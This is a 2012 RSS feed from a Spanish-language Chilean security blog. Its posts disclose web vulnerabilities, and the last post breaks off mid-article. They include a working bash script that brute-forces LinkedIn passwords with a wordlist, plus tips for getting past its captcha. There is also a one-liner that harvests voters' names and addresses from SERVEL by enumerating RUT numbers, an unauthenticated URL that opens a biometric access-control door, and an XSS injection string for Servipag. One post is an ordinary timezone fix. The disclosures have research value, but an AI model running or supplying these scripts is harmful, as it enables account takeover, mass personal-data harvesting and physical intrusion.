<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>El rincón de Zerial</title>
	<atom:link href="http://blog.zerial.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.zerial.org</link>
	<description>Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio</description>
	<lastBuildDate>Wed, 16 May 2012 19:27:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Vulnerabilidad en LinkedIn permite obtencion de contraseñas</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidad-en-linkedin-permite-obtencion-de-contrasenas/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidad-en-linkedin-permite-obtencion-de-contrasenas/#comments</comments>
		<pubDate>Wed, 16 May 2012 19:17:32 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[brute force]]></category>
		<category><![CDATA[cross-site request forgery]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[csrf token]]></category>
		<category><![CDATA[fuerza bruta]]></category>
		<category><![CDATA[linkedin]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2980</guid>
		<description><![CDATA[El proceso para iniciar sesión de LinkedIn es vulnerable a ataques de fuerza bruta y es posible, mediante un diccionario, descubrir la password de usuarios. Este ataque es factible debido a un error en la validación del token de seguridad (Csrf token) que permite enviar tantos request remotos como queramos, probando distintos usuarios y usando [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2012/05/linkedin-logo.png"><img class="aligncenter size-medium wp-image-2981" title="linkedin-logo" src="http://blog.zerial.org/wp-content/uploads/2012/05/linkedin-logo-300x84.png" alt="" width="300" height="84" /></a></p>
<p>El proceso para iniciar sesión de <strong>LinkedIn</strong> es vulnerable a ataques de <em>fuerza bruta</em> y es posible, mediante un diccionario, descubrir la password de usuarios. Este ataque es factible debido a un error en la validación del token de seguridad (Csrf token) que permite enviar tantos request remotos como queramos, probando distintos usuarios y usando el mismo token.<br />
La única protección que existe, es que luego de decenas de intentos, nos muestra un Captcha, sin embargo, luego de esperar un tiempo y con un nuevo Token, es posible continuar con el ataque.</p>
<p>Para obtener un Token y poder probar el ataque, debemos atrapar el POST que se hace en el formulario de login y obtener el &#8220;sourceAlias&#8221; y &#8220;csrfToken&#8221;.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2012/05/linkedin_token.png"><img class="aligncenter size-full wp-image-2988" title="linkedin_token" src="http://blog.zerial.org/wp-content/uploads/2012/05/linkedin_token.png" alt="" width="677" height="217" /></a></p>
<p>Cuando realizamos el ataque, no es necesario enviarle estos valores metiante POST, ya que no discrimina el métido por el cual se le entregan los valores, pudiendo generar un simple script que haga consultas mediante GET pasandole las variables por URL.</p>
<p><span id="more-2980"></span></p>
<p>El paso siguiente es armar un script que nos ayude a enviar requests hacia el script &#8220;login-submit&#8221; de LinkedIn, validar la respuesta y comprobar la contraseña.</p>
<pre name="code" class="c">#!/bin/bash
#
# usage: ./linkedin.sh username@domain.com wordlist
#

TOKEN="ajax%3A1969342887909916588"
sourceAlias="0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi"

if [ ! -f $2 ];
then
	echo "file $2 does not exists"
	exit
fi

_USR=$1
for _PWD in $(cat $2);
do
	if [ $(echo -n $_PWD|wc -c) -lt 6 ];
	then
		echo "Ignoring $_PWD (must be grather than 6 chars)"; continue
	fi
	wget -o /dev/null -O - "https://www.linkedin.com/uas/login-submit?csrfToken=$TOKEN&#038;session_key=$_USR&#038;session_password=$_PWD&#038;session_redirect=&#038;sourceAlias=$sourceAlias&#038;source_app=&#038;trk=secureless"|grep 'The email address or password you provided does not match our records\|captcha' >>/dev/null
	if [ $? -eq 1 ];
	then
		echo "Password found: $_PWD"; exit;
	fi
done

echo "Password NOT found. Try later."
</pre>
<p>Lo que hace este script es leer un archivo de texto que usará como diccionario para realizar el ataque. Cuando queramos cambiar el Token debemos modificar el valor de la variable &#8220;TOKEN&#8221; dentro del script.</p>
<p>A modo de prueba, cree la cuenta &#8220;panic@zerial.org&#8221; y un diccionario que contiene las siguientes palabras:</p>
<blockquote><p>asdfgh<br />
zxcvbnm<br />
1234567<br />
0987654<br />
12345698<br />
456_4567<br />
123456qwert<br />
123456qwerty<br />
12345qwei<br />
112233</p></blockquote>
<p>Ejecuté el script entregandole los parametros necesarios: <strong>sh linkedin.sh panic@zerial.org wordlist</strong> y este es el resultado:<br />
<strong>Password found: 123456qwerty</strong><br />
Que corresponde a la password de prueba.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2012/05/passwd_found.png"><img src="http://blog.zerial.org/wp-content/uploads/2012/05/passwd_found.png" alt="" title="passwd_found" width="334" height="197" class="aligncenter size-full wp-image-2994" /></a></p>
<p>Si linkedin nos pone problemas con el captcha, lo que debemos hacer es ingresar via web con una cuenta valida, capturar nuevamente el Token e intentarlo nuevamente con ese token.</p>
<p><strong>Nota</strong>: LinkedIn fue notificado hace 2 semanas sobre esta vulnerabilidad, pero no respondieron.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidad-en-linkedin-permite-obtencion-de-contrasenas/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Sitio web del Servicio Electoral (SERVEL) expone tus datos</title>
		<link>http://blog.zerial.org/seguridad/sitio-web-del-servicio-electoral-servel-expone-tus-datos/</link>
		<comments>http://blog.zerial.org/seguridad/sitio-web-del-servicio-electoral-servel-expone-tus-datos/#comments</comments>
		<pubDate>Thu, 26 Apr 2012 13:18:30 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site request forgery]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[gobierno de chile]]></category>
		<category><![CDATA[privacidad]]></category>
		<category><![CDATA[servel]]></category>
		<category><![CDATA[xsrf]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2967</guid>
		<description><![CDATA[Luego de que se propusieran la idea de inscribir automaticamente a todos los chilenos, el SERVEL tuvo la brillante idea de poner la base de datos de todos los inscritos disponible para cualquier persona en su sitio web. Con solo ingresar el RUT o el nombre de una persona, es posible obtener su domicilio, por [...]]]></description>
			<content:encoded><![CDATA[<p>Luego de que se propusieran la idea de inscribir automaticamente a todos los chilenos, el SERVEL tuvo la brillante idea de poner la base de datos de todos los inscritos disponible para cualquier persona en su sitio web.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2012/04/servel.png"><img class="aligncenter size-full wp-image-2968" title="servel" src="http://blog.zerial.org/wp-content/uploads/2012/04/servel.png" alt="" width="549" height="152" /></a></p>
<p>Con solo ingresar el RUT o el nombre de una persona, es posible obtener su domicilio, por ejemplo:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2012/04/servel1.png"><img class="aligncenter size-full wp-image-2969" title="servel1" src="http://blog.zerial.org/wp-content/uploads/2012/04/servel1.png" alt="" width="563" height="169" /></a></p>
<p>El formulario no cuenta con un captcha para validar que sea una persona quien consulta los datos y tampoco tiene las validaciones necesarias para proteger request desde sitios remotos y asi poder evitar que un &#8220;bot&#8221; se dedique a hacer un dump de la base de datos.</p>
<p>Como el sistema de consultas es vulnerable a CSRF, con un pequeño script podemos obtener información de personas, por ejemplo:</p>
<blockquote><p>15000XXX-7<br />
LECAROS XXXXX ELENA XXXX<br />
PILCO XX XXXXXX DPTO 106<br />
&#8212;&#8212;&#8212;&#8212;<br />
15000002-5<br />
XXXXXX NIETO XXXXXXXX ANDRES<br />
SITIO XXXXXX EL SAUCE XXXXXXX<br />
&#8212;&#8212;&#8212;&#8212;<br />
15000XXX-3<br />
ROJAS XXXXXX PAMELA XXXXXXX<br />
PJ LOS XXXXX XX<br />
&#8212;&#8212;&#8212;&#8212;<br />
15000XXX-1<br />
BELLO XXXXX SUSANA XXXXXX<br />
DIEGO XXXXX XXXXX POBL. SAN JOSE<br />
&#8212;&#8212;&#8212;&#8212;<br />
15000XXX-K<br />
GONZALEZ XXX PATRICIA XXXX<br />
ANIBAL PINTO XXXX PBL.M.ORIENTE<br />
&#8212;&#8212;&#8212;&#8212;</p></blockquote>
<p>En esta prueba de concepto lo unico que hice fue un script que cuente de 15.000.000 a 15.000.010, obtenga el digito verificador de cada RUT y consulte con cURL o wget al sitio del SERVEL. Un bot podria ser programado para que recorra todos los rut y obtenga información sobre las personas.</p>
<p><span id="more-2967"></span></p>
<blockquote><p><strong>Comando:</strong><br />
for seq in $(seq 15000000 15000010); do rut=$(php dv.php $seq); echo $rut; wget -O &#8211; -o /dev/null &#8220;http://www.servel.cl/consulta/consulta2012.aspx?ScriptManager1=updpnl1|btnconsultarnombre&#038;__ASYNCPOST=true&#038;__EVENTARGUMENT=&#038;__EVENTTARGET=&#038;__EVENTVALIDATION=%2FwEWBALt74KnBwKIgMLoCQLA%2BNmoBgL066iRCh5kzc0O6krAcPyF8iP14ICzZPVMch4cFobzrB8c5UMe&#038;__VIEWSTATE=%2FwEPDwUKLTUxOTc5MjYxMg9kFgICAw9kFgICAQ9kFgJmD2QWAgITD2QWAgIDDzwrABEBARAWABYAFgBkGAEFDWdyZGR1cGxpY2Fkb3MPZ2QHQ9n6Ug6DvemNcSslF9aItsqRASRwxwtjME5L46rPQQ%3D%3D&#038;btnconsultarnombre=Consultar&#038;hdfl=&#038;txtnombre=$rut&#8221;|grep &#8216;lbldomicilio\|lblnombre&#8217;|awk -F &#8216;>&#8217; &#8216;{print $2}&#8217;|sed &#8216;s/< \/span//g'; echo "------------"; done
</p></blockquote>
<p><strong>Script php (dv.php)</strong></p>
<pre class="c" name="code">< ?php
 function dv($rut)
        {
                $x = 2;
                $calc = 0;
                $rut = str_replace(".", "", $rut);
                for($i = strlen($rut)-1; $i >= 0; $i--)
                {
                        $digit = $rut[$i];
                        if($x == 8) $x = 2;
                        $calc += $digit*$x;
                        $x++;
                }
                $rest = $calc%11;
                $dv = 11 - $rest;
                if($dv == 10) $dv = "K";
                if($dv == 11) $dv = 0;
                return $dv;
        }

print $argv[1]."-".dv($argv[1]);
?>
</pre>
<p><strong>Actualizado</strong></p>
<p>SERVEL finalmente puso un Captcha para evitar a los bots.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/sitio-web-del-servicio-electoral-servel-expone-tus-datos/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Vulnerar la seguridad fisica de un control de acceso biometrico</title>
		<link>http://blog.zerial.org/seguridad/vulnerar-la-seguridad-fisica-de-un-control-de-acceso-biometrico/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerar-la-seguridad-fisica-de-un-control-de-acceso-biometrico/#comments</comments>
		<pubDate>Tue, 03 Apr 2012 12:17:15 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[auth bypass]]></category>
		<category><![CDATA[control biometrico]]></category>
		<category><![CDATA[control de acceso]]></category>
		<category><![CDATA[seguridad fisica]]></category>
		<category><![CDATA[zem560]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2952</guid>
		<description><![CDATA[El dispositivo de la imagen corresponde a un control de acceso con tarjetas de proximidad y biometrico ZEM560, aunque no lo crean, en muchos lugares se usa para restringir el acceso a ciertos sectores donde solo personal autorizado puede ingresar, por ejemplo a un Data Center. Estos dispositivos no son más que un sistema Linux [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2012/04/device1.jpg"><img class="aligncenter size-full wp-image-2955" title="device" src="http://blog.zerial.org/wp-content/uploads/2012/04/device1.jpg" alt="" width="320" height="512" /></a></p>
<p>El dispositivo de la imagen corresponde a un control de acceso con tarjetas de proximidad y biometrico <strong>ZEM560</strong>, aunque no lo crean, en muchos lugares se usa para restringir el acceso a ciertos sectores donde solo personal autorizado puede ingresar, por ejemplo a un <strong>Data Center</strong>.</p>
<p>Estos dispositivos no son más que un sistema Linux 2.6.24 corriendo sobre MIPS, el cual basicamente tiene una interfáz ethernet con la cual se puede acceder vía telnet al sistma o bien vía web para la administración de usuarios, reportes, mantención del equipo, etc.<br />
El panel de administración es así</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2012/04/acl_1.png"><img class="aligncenter size-full wp-image-2958" title="acl_1" src="http://blog.zerial.org/wp-content/uploads/2012/04/acl_1.png" alt="" width="487" height="519" /></a></p>
<p>En el menú de la izquierda se pueden ver distintas opciones como administrar usuarios, acceder a reportes, configurar las tarjetas de red y lo más interesante la opción <strong>Open Door</strong>.</p>
<p><span id="more-2952"></span></p>
<p>La magia de todo esto, es que si ingresamos a la URL &#8220;<strong>http://ip/form/Device?act=9</strong>&#8221; la puerta se abrirá</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2012/04/acl_2.png"><img class="aligncenter size-full wp-image-2959" title="acl_2" src="http://blog.zerial.org/wp-content/uploads/2012/04/acl_2.png" alt="" width="327" height="151" /></a></p>
<p>Todas las acciones que se ven en el menú son accesibles directamente sin necesidad de estar autentificado, lo único que debemos hacer es conocer la IP del dispositivo.</p>
<p>Por un momento pensé &#8220;<em>esto debe ser porque es una versión antigua</em>&#8220;, pero es un sistema de control de acceso que se implementó hace menos de 1 mes, donde seguramente esa misma empresa (y muchas otras) estan entregando este producto con esta falla de seguridad. Tampoco descarto que esto suceda con otros modelos.</p>
<p>Sólo dos recomendaciones para quienes administren este tipo de dispositivos:</p>
<p>1) Creen una red independiente donde no cualquier usuario pueda acceder, de lo contrario con un escaneo muy simple es posible determinar la IP de estos dispositivos, abrir la puerta y vulnerar la seguridad física.</p>
<p>2) Cambien el dispositivo.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerar-la-seguridad-fisica-de-un-control-de-acceso-biometrico/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Solución al no-cambio de hora en Chile</title>
		<link>http://blog.zerial.org/linux/solucion-al-no-cambio-de-hora-en-chile/</link>
		<comments>http://blog.zerial.org/linux/solucion-al-no-cambio-de-hora-en-chile/#comments</comments>
		<pubDate>Sun, 11 Mar 2012 15:17:27 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[cambio de hora]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[modificar timezone]]></category>
		<category><![CDATA[timezone]]></category>
		<category><![CDATA[tz]]></category>
		<category><![CDATA[unix]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2948</guid>
		<description><![CDATA[En Chile, nuevamente el Gobierno cambió la configuración de la zona horaria, aplazando el cambio de hora que debería haberse hecho hoy, para el 28 de Abril. La medida, que replica el esquema adoptado el año pasado, establece que el horario de invierno entrará en vigencia la medianoche del Sábado 28 de Abril y posteriormente, [...]]]></description>
			<content:encoded><![CDATA[<p>En Chile, nuevamente el Gobierno cambió la configuración de la zona horaria, <a href="http://www.gob.cl/informa/2012/02/22/gobierno-anuncia-fechas-de-cambio-de-hora-para-el-ano-2012.htm">aplazando el cambio de hora que debería haberse hecho hoy, para el 28 de Abril</a>.</p>
<blockquote><p><strong>La medida, que replica el esquema adoptado el año pasado,  establece que el horario de invierno entrará en vigencia la medianoche  del Sábado 28 de Abril y posteriormente, se retornará al horario de  verano, la medianoche del Sábado 1 de Septiembre.</strong></p></blockquote>
<p>Para UNIX existe una solución que es modificar el archivo que define el TimeZone de Chile/Continental. Esta solución es mucho más limpia que cambiar la hora a mano o que usar la zona horaria de otro país, ya que continuamos usando la zona horaria de Chile pero con las modificaciones que el gobierno impuso.</p>
<p>La solución rápida es descargar <a href="http://blog.zerial.org/files/localtime_2012.gz">este archivo</a> &#8220;timezone&#8221; que modifiqué con las nuevas fechas, descomprimirlo y pisar el archivo /etc/localtime y en el directorio donde tengas los archivos de zona que generalmente se encuentran en /usr/share/zoneinfo/Chile/Continental.</p>
<p><span id="more-2948"></span></p>
<p>Los pasos a seguir luego de descargar el archivo, son:</p>
<p><code># zdump -v Chile/Continental|grep 2012</code></p>
<p>Al ejecutar el siguiente comando, deberias poder ver las fechas en las cuales se deberia cambiar la hora</p>
<p><code># zdump -v /etc/localtime|grep 2012</code></p>
<p>Desempaqueta el archivo localtime.gz</p>
<p><code># gunzip localtime.gz</code></p>
<p>Reemplazar el /etc/localtime y /usr/share/zoneinfo/Chile/Continental<br />
por ese archivo</p>
<p><code># cp localtime /etc/localtime</p>
<p># cp localtime /usr/share/zoneinfo/Chile/Continental</code></p>
<p>Si <strong>/usr/share/zoneinfo/</strong> no existe, deberia estar en<br />
<strong>/usr/local/share/zoneinfo</strong> o en <strong>/usr/lib/</strong> o algo parecido (buscar en /<br />
el directorio &#8220;zoneinfo&#8221;).</p>
<p>Luego vuelve a ejecutar los dos comandos del &#8220;<strong>zdump</strong>&#8221; y deberian<br />
aparecer las nuevas fechas de cambio de hora.</p>
<p>Para modificar el archivo de timezone seguí las instrucciones que escribió &#8220;Sabius&#8221; en el foro de CHW el año pasado:</p>
<p><a href="http://www.chw.net/foro/gnu-linux-y-otros-sistemas-operativos-f18/879526-guia-modificar-tzdata-cambio-no-cambio-de-hora-chile.html">Guia: Modificar tzdata, cambio/no cambio de hora Chile</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/solucion-al-no-cambio-de-hora-en-chile/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidades CSRF + XSS afectan a Servipag</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidades-csrf-xss-afectan-a-servipag/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidades-csrf-xss-afectan-a-servipag/#comments</comments>
		<pubDate>Thu, 08 Mar 2012 12:01:43 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[cross-site request forgery]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[servipag]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2932</guid>
		<description><![CDATA[Esta vez la vulnerabilidad afecta al sitio de Servipag Empresas, permitiendo realizar ataques del tipo CSRF+XSS, es decir, incrustar código html/javascript y realizar peticiones desde sitios remotos. La vulnerabilidad se encuentra en el formulario para iniciar sesión que al momento de realizar la validación, si el usuario o clave no existen o están incorrectos, muestra [...]]]></description>
			<content:encoded><![CDATA[<p>Esta vez la vulnerabilidad afecta al sitio de <a href="http://www.servipagempresas.cl" target="_blank">Servipag Empresas</a>, permitiendo realizar ataques del tipo <strong>CSRF+XSS</strong>, es decir, incrustar código html/javascript y realizar peticiones desde sitios remotos. La vulnerabilidad se encuentra en el formulario para iniciar sesión que al momento de realizar la validación, si el usuario o clave no existen o están incorrectos, muestra una alerta al usuario</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2012/03/servipag_empresas_alerta.png"><img class="aligncenter size-full wp-image-2935" title="servipag_empresas_alerta" src="http://blog.zerial.org/wp-content/uploads/2012/03/servipag_empresas_alerta.png" alt="" width="365" height="135" /></a></p>
<p>El formulario de login envia un POST a <strong>servipagempresas.cl/Servipag/SES_ControlAcceso.asp</strong> pasando las variables <strong>ACC=ND&amp;IdColumna=&amp;IdComunidad=2&amp;IdNoticia=&amp;LoginEmpresa=empresa_prueba&amp;login=empresa_prueba&amp;password=1</strong>, cuando se envian datos incorrectos, SES_ControlAcceso.asp nos devuelve a la URL <strong>servipagempresas.cl/Servipag/acceso.asp</strong> pasando por GET el mensaje de error, el cual podemos manipular.</p>
<p><span id="more-2932"></span></p>
<p>El mensaje lo entrega mediante la variable <strong>msgx10987654</strong> (ni idea que significa ese número). Si envíamos mediante POST el mensaje &#8220;mensaje de error de pruebas&#8221; podemos ver que el mensaje de error es manipulable de una manera demasiado sencilla:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2012/03/error_test_xss.png"><img class="aligncenter size-full wp-image-2938" title="error_test_xss" src="http://blog.zerial.org/wp-content/uploads/2012/03/error_test_xss.png" alt="" width="217" height="137" /></a></p>
<p>Y en el código fuente aparece lo siguiente:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2012/03/codehtml.png"><img class="aligncenter size-full wp-image-2939" title="codehtml" src="http://blog.zerial.org/wp-content/uploads/2012/03/codehtml.png" alt="" width="276" height="233" /></a></p>
<p>Lo único que debemos hacer para insertar código html/javascript a nuestro antojo, es manipular el mensaje de error de forma tal que cerremos el alert y cerremos el tag &lt;script&gt;, por ejemplo con el siguiente string:</p>
<p style="text-align: center;"><strong>test\&#8221;)//&lt;/script&gt;&lt;STRONG&gt;SERVIPWNED &lt;/strong&gt;&lt;script&gt;</strong></p>
<p>El código html quedaría así:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2012/03/codehtml2.png"><img class="aligncenter size-full wp-image-2940" title="codehtml2" src="http://blog.zerial.org/wp-content/uploads/2012/03/codehtml2.png" alt="" width="417" height="224" /></a></p>
<p>Y por navegador podemos ver</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2012/03/codehtml3.png"><img class="aligncenter size-full wp-image-2941" title="codehtml3" src="http://blog.zerial.org/wp-content/uploads/2012/03/codehtml3.png" alt="" width="382" height="300" /></a></p>
<p>De esta forma podemos inyectar código html/javascript arbitrariamente y perfectamente podríamos usar este bug para robar datos de sesión y algún otro tipo de información de los usuarios.</p>
<p>Esta vulnerabilidad ha sido reportada y corregida.</p>
<p>Esta vulnerabilidad suma a la <a href="http://secureless.org/vulnerability/2263/">reportada en Secureless</a> por un colaborador que afectaba a Servipag Express.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidades-csrf-xss-afectan-a-servipag/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidad permite el robo de información en el sistema del S.I.I</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidad-permite-el-robo-de-informacion-en-el-sistema-del-s-i-i/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidad-permite-el-robo-de-informacion-en-el-sistema-del-s-i-i/#comments</comments>
		<pubDate>Mon, 20 Feb 2012 12:20:40 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site request forgery]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[servicio de impuestos internos]]></category>
		<category><![CDATA[sii]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sitios wen vulnerables]]></category>
		<category><![CDATA[xsrf]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2913</guid>
		<description><![CDATA[Ya han sido varias las vulnerabilidades que han afectado a este sistema, como pueden ver en Secureless, se han reportado vulnerabilidades correspondientes a redirección de URL abierta, es decir, el usuario podía ser redireccionado a cualquier URL externa sin su autorización y otras del tipo Cross-Site Scripting, que permite al atacante incrustar código html/javascript arbitrariamente [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2012/02/sii.jpg"><img class="aligncenter size-full wp-image-2914" title="sii" src="http://blog.zerial.org/wp-content/uploads/2012/02/sii.jpg" alt="" width="509" height="260" /></a></p>
<p>Ya han sido varias las vulnerabilidades que han afectado a este sistema, como pueden ver en <a href="http://secureless.org/search/?keywords=Servicio+de+Impuestos+Internos&amp;sid=0" target="_blank">Secureless</a>, se han reportado vulnerabilidades correspondientes a redirección de URL abierta, es decir, el usuario podía ser redireccionado a cualquier URL externa sin su autorización y otras del tipo Cross-Site Scripting, que permite al atacante incrustar código html/javascript arbitrariamente y aprovecharse de la confianza que el usuario tiene sobre el sitio para robar información, suplantar su identidad mediante el robo de cookies o bien incrustando un formulario falso para que el usuario entregue sus datos de autentificación (rut, password) al atacante.</p>
<p>Esta es una demostración de que tener un sitio con SSL o HTTPS no significa que sea &#8220;seguro&#8221;.</p>
<p><strong>DISCLAIMER</strong>: Antes que todo, me gustaría aclarar los motivos de hacer pública esta demostración. Hace varios meses intenté reportar la vulnerabilidad de Redirección de URL que afectaba al momento de iniciar sesión pero no obtuve respuesta y luego de haberla hecho publica, apareció solucionada. La última vulnerabilidad XSS que encontré logré reportarla al encargado de seguridad de la institución (gracias a un contacto que no tenía antes), la respuesta que obtuve fue:</p>
<blockquote><p>Escalé al Area de Mantención , para que mitigue la vulnerabilidad, te enviaré e-mail cuando esté mitigada.</p>
<p>Muchas gracias por la información</p></blockquote>
<p>1 mes despues de este correo, no he recibido ninguna notificación. Luego de haber dicho lo siguiente, hace 3 dias:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2012/02/sii_aviso.png"><img class="aligncenter size-full wp-image-2917" title="sii_aviso" src="http://blog.zerial.org/wp-content/uploads/2012/02/sii_aviso.png" alt="" width="511" height="243" /></a>La vulnerabilidad apareció corregida.</p>
<p>Esta vez avisaré a los responsables pero no esperaré a que lo solucionen para hacer público este artículo. Creo que los usuarios del Servicio de Impuestos Internos <strong>debe</strong> conocer los riesgos de realizar trámites online con una plataforma que no brinda la suficiente seguridad.</p>
<p><span id="more-2913"></span></p>
<p><strong>Y dice así &#8230;</strong></p>
<p>Las nuevas vulnerabilidades descubiertas son 2 que van de la mano, son explotables en conjunto y en un sistema como el del S.I.I puede ser bastante peligroso para los usuarios. Se trata de una vulnerabilidad <a href="https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29" target="_blank">Cross-Site Scripting (XSS)</a> y otra <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)" target="_blank">Cross-Site Request Forgery (CSRF)</a>. Explotando estas dos vulnerabilidades, la víctima puede ser redireccionada <strong>desde cualquier sitio</strong> hacia el sitio del S.I.I y <strong>obligarla</strong> a ejecutar código javascript en su navegador, permitiendo enviar los datos de sesión a un servidor remoto. En un ataque un poco más elaborado el atacante podría obligar al usuario a ejecutar acciones sobre el sistema afectado.</p>
<p>La URL afectada corresponde a <strong>https://alerce.sii.cl/dior_cgi/ren_mp/REN_CalculosAcciones.cgi</strong>, como pueden ver se trata de un sitio con &#8220;https&#8221;. Este script cgi recibe mediante POST 3 variables, las cuales pueden ser modificadas mediante un formulario falso. Al no tener <em>tokens de seguridad</em> (csrf tokens), el sistema permite realizar request desde sitios remotos, permitiendo al atacante forzar al usuario a realizar un POST (envío de formulario) desde cualquier sitio externo y obligandolo a ejecutar cualquier código javascript, como por ejemplo acceder a la información de la cookie y enviarla a cualquier servidor.</p>
<p>Para explotar esta vulnerabilidad, no es necesario que la víctima tenga la sesión iniciada, pero es mucho más peligrosa si es que lo está.</p>
<p>Por ejemplo, si nuestra víctima no tiene la sesión iniciada, la información de la cookie aparecerá en blanco</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2012/02/sii_xss_csrf_sin_cookie.png"><img class="aligncenter size-full wp-image-2920" title="sii_xss_csrf_sin_cookie" src="http://blog.zerial.org/wp-content/uploads/2012/02/sii_xss_csrf_sin_cookie.png" alt="" width="604" height="327" /></a></p>
<p>Sin embargo, si la víctima ya ha iniciado sesión, la información que podríamos obtener sería:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2012/02/sii_xss_csrf_con_cookie.png"><img class="aligncenter size-full wp-image-2921" title="sii_xss_csrf_con_cookie" src="http://blog.zerial.org/wp-content/uploads/2012/02/sii_xss_csrf_con_cookie.png" alt="" width="612" height="261" /></a></p>
<p>Podemos ver la información de la sesión (cookie) y lo que aparece borroso corresponde a mi RUT.</p>
<p>Esta información puede ser enviada a un servidor remoto y ser usada por el atacante para clonar la cookie y suplantar la identidad del usuario. Un uso un poco menos ofensivo, sería que el atacante quiera recopilar información sobre la víctima (por ejemplo en un ataque dirigido), mediante este ataque se puede obtener fácilmente información sobre algun usuario.</p>
<p>Para esta prueba de concepto lo único que utilicé fue un formulario html básico, que envía el request mediante POST a la URL afectada:</p>
